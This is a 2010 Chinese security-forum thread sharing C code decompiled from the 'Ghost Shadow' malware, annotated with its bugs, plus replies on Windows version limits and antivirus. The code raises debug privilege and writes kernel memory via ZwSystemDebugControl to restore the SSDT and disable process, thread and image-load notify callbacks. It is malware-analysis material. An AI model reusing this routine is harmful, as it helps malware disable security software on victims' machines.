首页
社区
课程
招聘
7
[分享]鬼影里的ZwSystemDebugControl
发表于: 2010-3-22 14:56 19128

[分享]鬼影里的ZwSystemDebugControl

2010-3-22 14:56
19128
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
/***************************************************************************************
*
*    分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
*    该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
*    PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
*    PsSetCreateThreadNotifyRoutine 三个钩子。
*
*    代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
*    逆向 by Fypher
*    http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
    // 先提权
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
        if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
            tkp.Privileges[0].Luid.LowPart = luid.LowPart;
            tkp.Privileges[0].Luid.HighPart = luid.HighPart;
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
        }
    }
    CloseHandle(hObject);   // 此处有bug
 
    // 获取所需函数,应该检查一下返回值
    char strProcName[32] = "ZwSystemDebugControl";
    HMODULE hNtdll = GetModuleHandle("ntdll");
    ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);
 
    strcpy(strProcName, "NtQuerySystemInformation");
    NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);
 
    // 查询系统模块信息
    ULONG ulRet = 0;
    NTSTATUS status;
     
    status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
    if (status != STATUS_INFO_LENGTH_MISMATCH)
        return 0;
     
    // 这里写得不好,没有检查返回值,并且用 heap 类函数快得多
    HLOCAL hlocal = LocalAlloc(LPTR, ulRet);   
     
    status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet))
        return 0;   // 此处有资源泄露,应该释放 hlocal
 
    // WS的方式把 ntoskrnl 的真名找到了
    PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
    char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
     
    HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
    if (!hNtoskrnl)
        return 0;   // 此处有资源泄露,应该释放 hlocal
 
    // 准备恢复SSDT
    strcpy(strProcName, "KeServiceDescriptorTable");
     
    ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
    ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;       // 取得基址,多余操作
 
     
    ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase;  // 取PE头
    ULONG ulImageBase =  *(PULONG)(ulPEHdr + 52);   // 取 ImageBase
    ULONG ulSSDTAddr =  ulImageBase + ulSSDToffset;
     
    MEMORY_CHUNKS QueryBuff;
    QueryBuff.Address = (ULONG)ulSSDTAddr;
 
    ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80);  // 取 SizeOfImage
 
    PVOID lpAddress;
    int i = 0;
    if (ulSizeOfImage) {
        while (1) {
            lpAddress = (LPVOID)(ulNtoskrnlBase + i);
            // 寻找  mov ds:KeServiceDescriptorTable, xxxxxxxx
            // 特征码 C7 05 SSDT xxxx
            if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
                if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
                    break;
            }
            ++i;
            if (i >= ulSizeOfImage)
                break;
        }
        if (i <ulSizeOfImage)
            QueryBuff.Address = *((PULONG)lpAddress + 1);
    }
 
    if (i == ulSizeOfImage) {
        return 0;   // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
    }
    else // 此处有bug, i > ulSizeOfImage后程序会流向此处
        PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
        DWORD dwOldProtect = 0;
        VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值
        int num = 280;  // 这里写得不好,函数个数应该动态获取
         
        do {
            FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
            --num;
        } while (num >= 0);
     
        // 恢复SSDT
        DWORD dwRet;
        QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
        QueryBuff.Data = FunAddr;
        QueryBuff.Length = 1120;    // 这里写得不好,函数个数应该动态获取
        status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
 
        if ( bArg ) {   // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子
 
            // 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
            strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
            ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
             
            QueryBuff.Address = ulProcAddr;
            if ( *(WORD *)ulProcAddr != 0xCCCC ) {  // 此处有bug
                do {
                    ++ulProcAddr;
                } while ( *(WORD *)ulProcAddr != 0xCCCC );
                 
                while (ulProcAddr > QueryBuff.Address ) {
                    // 寻找 PsImageNotifyEnabled
                    // mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
                    if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
                        ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);
 
                        // 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
                        int buff = 0;
                        QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
                        QueryBuff.Data = &buff
                        QueryBuff.Length = 1;
                        status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
                        break;
                    }
                    --ulProcAddr;
                }
            }
 
            // 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
            strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
            ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
 
            QueryBuff.Address = ulProcAddr;
            if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
                // 找函数出口,retn 8
                while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
                    ++ulProcAddr;
                    if (ulProcAddr >= QueryBuff.Address + 256)
                        break;
                }
 
                while ( ulProcAddr < QueryBuff.Address + 256 ) {
                    // 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
                    if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
                        if (*(PULONG)(ulProcAddr + 1) > 0x400000) {  // 取得_PspCreateProcessNotifyRoutineCount
                            int buff = 0;
                            QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
                            QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
                            QueryBuff.Data = &buff;
                            QueryBuff.Length = 4;
                            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
                            break;
                        }
                        ulProcAddr += 4;
                    }
                    ++ulProcAddr;
                }
            }
            // 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
            strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
            ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
            QueryBuff.Address = ulProcAddr;
            while (1) {
                if (ulProcAddr >= QueryBuff.Address + 256)
                    break;
                if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
                    break;
                ++ulProcAddr;
            }
            for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
                if ((*(BYTE *)addr & 0xF8) == 0xB8) {
                    if (*(PULONG)(addr + 1) > 0x400000) {
                        int buff = 0;
                        QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
                        QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
                        QueryBuff.Data = &buff;
                        QueryBuff.Length = 4;
                        status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
                        break;
                    }
                    addr += 4;
                }
            }
        }
        FreeLibrary(hNtoskrnl);
        return NT_SUCCESS(status);  // 此处有资源泄露,应该释放 hlocal
    }
}

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 7
支持
分享
赞赏记录
参与人
雪币
留言
时间
Youlor
为你点赞~
2024-5-31 01:29
伟叔叔
为你点赞~
2024-1-21 00:06
QinBeast
为你点赞~
2024-1-10 05:30
shinratensei
为你点赞~
2024-1-4 02:08
PLEBFE
为你点赞~
2023-12-16 00:10
心游尘世外
为你点赞~
2023-12-2 00:13
飘零丶
为你点赞~
2023-11-22 05:43
最新回复 (23)
雪    币: 284
活跃值: (106)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
谢谢分享……这个方法在vista以上应该是用不了吧?
2010-3-22 18:19
0
雪    币: 123
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
vista和win7上,啥都不好使,除非能突破UAC。没有管理员权限,连改注册表的loacl machine都改不了
2010-3-22 18:41
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
4
vista和WIN7下即使突破了UAC也不能用SYSDBGCTL,SYSDBGCTL在VISTA后需要驱动才能调用。

楼主这个程序也是啥用没用,装上360,SYSDBGCTL完全无效~
2010-3-22 19:07
0
雪    币: 434
活跃值: (72)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主太牛了,崇拜中...............................................
2010-3-22 19:20
0
雪    币: 636
活跃值: (174)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
6
vista和win7上用不了,XP过后ZwSystemDebugControl就用不了了。
2010-3-22 20:01
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
ZwSystemDebugControl可以用的,只是没这么强大而已~XX一下版本还是可以的。
2010-3-22 21:25
0
雪    币: 324
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
ZwDebugSystemControl过时了,MS早不上了
2010-3-23 09:39
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
膜拜啊,学习一下
2010-3-23 16:35
0
雪    币: 201
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
怪不得鬼影不搞WIN7呢,原来是搞不了啊
2010-4-4 11:04
0
雪    币: 3284
活跃值: (6042)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
360 的部分软件不太可信, 我在多间网吧试过了, 一点用也没有......也向你们相关的技术员反映过, 但从谈话中发现, 他不是编程方面的技术人员,只是个会软件使用之类的,不能解决问题,不知他“反映”方面的工作有没做好....
2010-4-4 18:47
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
谢谢分享                          
2010-4-5 23:35
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
360。。。。。。
话说我给几个公司维护的电脑中,凡是装360的全部挂掉了。。。不知道那个病毒叫什么名字,会修改sound.dll的那个。

倒是装其它杀软的都没有中。难道这个是专门针对360的。
2010-4-5 23:55
0
雪    币: 1602
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
针对360  也不奇怪 ,我看好多人都在问怎么过360.不知道是杀毒还是卫士
2010-4-6 10:51
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
顶起,终于看到分析鬼影的帖了
2010-4-7 11:45
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
汗,算了,刚刚回帖时候没仔细看,发现不是我想看的代码,有空还是自己分析关键部分吧~
2010-4-7 11:47
0
雪    币: 235
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
nt里面
mov     ds:_KeServiceDescriptorTable, offset _KiServiceTable
2010-4-9 11:13
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
LZ可否发份样本给我,多谢。我的邮箱是:cywl1228@163.com
2010-4-9 15:32
0
雪    币: 90
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
楼主可以给我一份分析一下吗
   QQ:896883233@qq.com
2010-4-10 20:10
0
雪    币: 135
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
国内XP用户还是超过70%吧?
2010-4-11 21:35
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
又见鬼影,实际上都是人吓人

哪有那么严重
2010-4-11 21:57
0
雪    币: 145
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
貌似关键部分和几年以前开源的差不多...
2010-4-13 20:25
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
23


装上了360的话,它就不会调用这个函数了的。
而是用另外的方法来对付360的。
上传的附件:
  • 1.jpg (31.69kb,211次下载)
2010-5-22 17:34
0
雪    币: 445
活跃值: (52)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
24
直接操作NTFS和FAT32不是更方便?
2010-12-14 11:50
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册